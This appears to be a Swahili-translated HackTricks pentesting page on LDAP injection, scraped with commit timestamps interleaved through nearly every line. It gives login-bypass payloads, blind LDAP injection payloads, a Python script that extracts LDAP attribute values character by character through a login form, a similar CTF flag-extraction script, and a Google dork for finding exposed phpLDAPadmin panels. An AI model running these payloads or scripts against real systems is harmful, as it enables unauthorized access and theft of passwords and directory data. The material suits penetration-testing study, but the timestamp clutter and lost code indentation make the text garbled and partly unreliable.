2024-02-18 14:54:02 +00:00
# Kuingiza LDAP
2022-04-28 16:01:33 +00:00
2024-02-18 14:54:02 +00:00
## Kuingiza LDAP
2022-05-07 13:38:40 +00:00
2022-04-28 16:01:33 +00:00
< details >
2024-03-29 21:14:28 +00:00
< summary > < strong > Jifunze AWS hacking kutoka sifuri hadi shujaa na< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)< / strong > < / a > < strong > !< / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-02-11 02:13:58 +00:00
Njia nyingine za kusaidia HackTricks:
2024-02-03 14:45:32 +00:00
2024-03-29 21:14:28 +00:00
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA** ](https://github.com/sponsors/carlospolop )!
2024-03-17 16:40:00 +00:00
* Pata [**bidhaa rasmi za PEASS & HackTricks** ](https://peass.creator-spring.com )
2024-02-23 16:48:14 +00:00
* Gundua [**Familia ya PEASS** ](https://opensea.io/collection/the-peass-family ), mkusanyiko wetu wa kipekee wa [**NFTs** ](https://opensea.io/collection/the-peass-family )
2024-02-18 14:54:02 +00:00
* **Jiunge na** 💬 [**Kikundi cha Discord** ](https://discord.gg/hRep4RUj7f ) au kikundi cha [**telegram** ](https://t.me/peass ) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks\_live )**.**
2024-03-29 21:14:28 +00:00
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) na [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) repos za github.
2022-04-28 16:01:33 +00:00
< / details >
2024-03-29 21:14:28 +00:00
< figure > < img src = "../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt = "" > < figcaption > < / figcaption > < / figure >
2022-04-30 20:31:18 +00:00
2024-03-29 21:14:28 +00:00
Ikiwa una nia ya **kazi ya kuhack** na kuhack mambo ambayo hayawezi kuhack - **tunakupa kazi!** (_uwezo wa kuandika na kuzungumza Kipolishi kwa ufasaha unahitajika_).
2020-07-15 15:43:14 +00:00
2024-02-18 14:54:02 +00:00
{% embed url="https://www.stmcyber.com/careers" %}
## Kuingiza LDAP
2022-04-30 20:31:18 +00:00
2022-05-07 13:38:40 +00:00
### **LDAP**
2020-07-15 15:43:14 +00:00
2024-03-29 21:14:28 +00:00
**Ikiwa unataka kujua ni nini LDAP tembelea ukurasa ufuatao:**
2020-07-15 15:43:14 +00:00
2022-05-01 13:25:53 +00:00
{% content-ref url="../network-services-pentesting/pentesting-ldap.md" %}
[pentesting-ldap.md ](../network-services-pentesting/pentesting-ldap.md )
2021-10-18 11:21:18 +00:00
{% endcontent-ref %}
2021-06-08 20:38:29 +00:00
2024-03-29 21:14:28 +00:00
**Kuingiza LDAP** ni shambulio linalolenga programu za wavuti ambazo hujenga taarifa za LDAP kutoka kwa mwingiliano wa mtumiaji. Hutokea wakati programu **haifanyi usafi ipasavyo** wa mwingiliano, kuruhusu wachomaji wa **kudhibiti taarifa za LDAP** kupitia mtoa huduma wa ndani, ikisababisha ufikiaji usioruhusiwa au upangilio wa data.
2020-07-15 15:43:14 +00:00
2023-02-14 11:55:05 +00:00
{% file src="../.gitbook/assets/en-blackhat-europe-2008-ldap-injection-blind-ldap-injection.pdf" %}
2021-10-18 11:21:18 +00:00
2024-02-11 02:13:58 +00:00
**Kichujio** = ( filtercomp )\
2024-02-18 14:54:02 +00:00
**Filtercomp** = na / au / si / kitu\
**Na** = & filterlist\
**Au** = |filterlist\
**Si** = ! filter\
2021-10-18 11:21:18 +00:00
**Filterlist** = 1\*filter\
2024-03-29 21:14:28 +00:00
**Kitu**= rahisi / kutokea / kipande\
**Rahisi** = sifa filtertype kauliayathibitisha\
2021-10-18 11:21:18 +00:00
**Filtertype** = _'=' / '\~=' / '>=' / '<='_ \
2024-03-29 21:14:28 +00:00
**Kutokea** = sifa = \*\
2024-02-18 14:54:02 +00:00
**Kipande** = sifa ”=” \[mwanzo] \* \[mwisho]\
2024-03-29 21:14:28 +00:00
**Mwanzo** = kauliayathibitisha\
**Mwisho** = kauliayathibitisha\
2024-02-18 14:54:02 +00:00
**(& )** = Halisi KWELI\
**(|)** = Halisi UONGO
2021-10-18 11:21:18 +00:00
2024-02-11 02:13:58 +00:00
Kwa mfano:\
2021-10-18 11:21:18 +00:00
`(&(!(objectClass=Impresoras))(uid=s*))` \
`(&(objectClass=user)(uid=*))`
2020-07-15 15:43:14 +00:00
2024-03-29 21:14:28 +00:00
Unaweza kupata ufikiaji kwenye database, na hii inaweza kuwa na taarifa za aina nyingi tofauti.
2020-07-15 15:43:14 +00:00
2024-03-29 21:14:28 +00:00
**OpenLDAP**: Ikiwa filta 2 zinawasili, inatekeleza tu ya kwanza.\
**ADAM au Microsoft LDS**: Pamoja na filta 2 hutoa kosa.\
**SunOne Directory Server 5.0**: Inatekeleza filta zote mbili.
2020-07-15 15:43:14 +00:00
2024-03-29 21:14:28 +00:00
**Ni muhimu sana kutuma filta na muundo sahihi au kosa litatupwa. Ni bora kutuma filta moja tu.**
2020-07-15 15:43:14 +00:00
2024-03-29 21:14:28 +00:00
Filta lazima ianze na: `&` au `|` \
2024-02-11 02:13:58 +00:00
Mfano: `(&(directory=val1)(folder=public))`
2020-07-15 15:43:14 +00:00
2021-10-18 11:21:18 +00:00
`(&(objectClass=VALUE1)(type=Epson*))` \
`VALUE1 = *)(ObjectClass=*))(&(objectClass=void`
2020-07-15 15:43:14 +00:00
2024-03-29 21:14:28 +00:00
Kisha: `(&(objectClass=` **`*)(ObjectClass=*))`** itakuwa filta ya kwanza (ile inayotekelezwa).
2020-07-15 15:43:14 +00:00
2024-02-18 14:54:02 +00:00
### Kupuuza Kuingia
2020-07-15 15:43:14 +00:00
2024-02-18 14:54:02 +00:00
LDAP inasaidia miundo kadhaa ya kuhifadhi nywila: wazi, md5, smd5, sh1, sha, crypt. Kwa hivyo, inaweza kuwa kwamba bila kujali unachoweka ndani ya nywila, inahashishwa.
2020-07-15 15:43:14 +00:00
```bash
user=*
password=*
--> (& (user=*)(password=*))
# The asterisks are great in LDAPi
```
```bash
user=*)(&
password=*)(&
--> (& (user=*)(& )(password=*)(& ))
```
```bash
user=*)(|(&
pass=pwd)
--> (& (user=*)(|(& )(pass=pwd))
```
```bash
user=*)(|(password=*
password=test)
--> (& (user=*)(|(password=*)(password=test))
```
```bash
user=*))%00
pass=any
--> (& (user=*))%00 --> Nothing more is executed
```
```bash
user=admin)(& )
password=pwd
--> (& (user=admin)(& ))(password=pwd) #Can through an error
```
```bash
username = admin)(!(& (|
pass = any))
2021-06-08 21:58:39 +00:00
--> (& (uid= admin)(!(& (|) (webpassword=any)))) —> As (|) is FALSE then the user is admin and the password check is True.
2020-07-15 15:43:14 +00:00
```
```bash
username=*
password=*)(&
--> (& (user=*)(password=*)(& ))
```
```bash
username=admin))(|(|
password=any
--> (& (uid=admin)) (| (|) (webpassword=any))
```
2024-02-11 02:13:58 +00:00
#### Orodha
2021-06-08 21:58:39 +00:00
2022-04-30 20:31:18 +00:00
* [LDAP\_FUZZ ](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP\_FUZZ.txt )
2024-02-18 14:54:02 +00:00
* [Vipengele vya LDAP ](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt )
* [Vipengele vya LDAP PosixAccount ](https://tldp.org/HOWTO/archived/LDAP-Implementation-HOWTO/schemas.html )
2020-07-15 15:43:14 +00:00
2024-02-23 16:48:14 +00:00
### Kuingiza kipofu cha LDAP
2021-06-08 21:58:39 +00:00
2024-02-23 16:48:14 +00:00
Unaweza kulazimisha majibu ya Uongo au Kweli kuchunguza ikiwa data yoyote inarudi na kuthibitisha uwezekano wa Kuingiza kipofu cha LDAP:
2021-06-08 21:58:39 +00:00
```bash
#This will result on True, so some information will be shown
Payload: *)(objectClass=* ))(& objectClass=void
Final query: (& (objectClass= *)(objectClass=* ))(& objectClass=void )(type=Pepi*))
```
```bash
#This will result on True, so no information will be returned or shown
Payload: void)(objectClass=void))(& objectClass=void
Final query: (& (objectClass= void)(objectClass=void))(& objectClass=void )(type=Pepi*))
```
2024-02-18 14:54:02 +00:00
#### Poteza data
2021-06-08 21:58:39 +00:00
2024-02-18 14:54:02 +00:00
Unaweza kurudia herufi za ascii, tarakimu na alama:
2020-07-15 15:43:14 +00:00
```bash
(& (sn=administrator)(password=*)) : OK
(& (sn=administrator)(password=A*)) : KO
(& (sn=administrator)(password=B*)) : KO
...
(& (sn=administrator)(password=M*)) : OK
(& (sn=administrator)(password=MA*)) : KO
(& (sn=administrator)(password=MB*)) : KO
...
```
2022-05-07 13:38:40 +00:00
### Scripts
2020-07-15 15:43:14 +00:00
2024-02-18 14:54:02 +00:00
#### **Gundua mashamba sahihi ya LDAP**
2020-07-15 15:43:14 +00:00
2024-03-29 21:14:28 +00:00
Vitu vya LDAP **kwa kawaida vina sifa kadhaa** ambazo zinaweza kutumika **kutunza habari** . Unaweza kujaribu **kufanya nguvu zote kuzitoa habari hizo.** Unaweza kupata orodha ya [**sifa za LDAP za msingi hapa** ](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt ).
2020-07-15 15:43:14 +00:00
```python
#!/usr/bin/python3
import requests
import string
from time import sleep
import sys
proxy = { "http": "localhost:8080" }
url = "http://10.10.10.10/login.php"
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"
attributes = ["c", "cn", "co", "commonName", "dc", "facsimileTelephoneNumber", "givenName", "gn", "homePhone", "id", "jpegPhoto", "l", "mail", "mobile", "name", "o", "objectClass", "ou", "owner", "pager", "password", "sn", "st", "surname", "uid", "username", "userPassword",]
for attribute in attributes: #Extract all attributes
2024-02-11 02:13:58 +00:00
value = ""
finish = False
while not finish:
for char in alphabet: #In each possition test each possible printable char
query = f"*)({attribute}={value}{char}*"
data = {'login':query, 'password':'bla'}
r = requests.post(url, data=data, proxies=proxy)
sys.stdout.write(f"\r{attribute}: {value}{char}")
#sleep(0.5) #Avoid brute-force bans
if "Cannot login" in r.text:
value += str(char)
break
if char == alphabet[-1]: #If last of all the chars, then, no more chars in the value
finish = True
print()
```
2024-03-29 21:14:28 +00:00
#### **Mashambulizi Maalum ya LDAP Yasiyoonekana (bila "\*")**
2020-07-15 15:43:14 +00:00
```python
#!/usr/bin/python3
import requests, string
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"
flag = ""
for i in range(50):
2024-02-11 02:13:58 +00:00
print("[i] Looking for number " + str(i))
for char in alphabet:
r = requests.get("http://ctf.web??action=dir& search=admin*)(password=" + flag + char)
if ("TRUE CONDITION" in r.text):
flag += char
print("[+] Flag: " + flag)
break
2020-07-15 15:43:14 +00:00
```
2024-02-11 02:13:58 +00:00
### Google Dorks
2020-07-15 15:43:14 +00:00
2022-05-07 13:38:40 +00:00
### Google Dorks
2020-07-15 15:43:14 +00:00
```bash
intitle:"phpLDAPadmin" inurl:cmd.php
```
2024-03-29 21:14:28 +00:00
### Payloads Zaidi
2021-06-08 21:58:39 +00:00
2022-05-08 22:42:39 +00:00
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
2024-03-29 21:14:28 +00:00
< figure > < img src = "../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt = "" > < figcaption > < / figcaption > < / figure >
2024-02-18 14:54:02 +00:00
2024-03-29 21:14:28 +00:00
Ikiwa uko **kwenye taaluma ya udukuzi** na unataka kudukua yasiyodukuzika - **tunakupa kazi!** (_inahitajika uwezo wa kuandika na kuzungumza Kipolishi kwa ufasaha_).
2022-05-08 22:42:39 +00:00
2024-02-18 14:54:02 +00:00
{% embed url="https://www.stmcyber.com/careers" %}
2022-04-28 16:01:33 +00:00
< details >
2024-02-18 14:54:02 +00:00
< summary > < strong > Jifunze udukuzi wa AWS kutoka sifuri hadi shujaa na< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)< / strong > < / a > < strong > !< / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-02-11 02:13:58 +00:00
Njia nyingine za kusaidia HackTricks:
2024-02-03 14:45:32 +00:00
2024-03-29 21:14:28 +00:00
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA** ](https://github.com/sponsors/carlospolop )!
2024-02-18 14:54:02 +00:00
* Pata [**bidhaa rasmi za PEASS & HackTricks** ](https://peass.creator-spring.com )
* Gundua [**Familia ya PEASS** ](https://opensea.io/collection/the-peass-family ), mkusanyiko wetu wa [**NFTs** ](https://opensea.io/collection/the-peass-family ) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord** ](https://discord.gg/hRep4RUj7f ) au kikundi cha [**telegram** ](https://t.me/peass ) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks\_live )**.**
2024-03-29 21:14:28 +00:00
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwenye** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) na [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github repos.
2022-04-28 16:01:33 +00:00
< / details >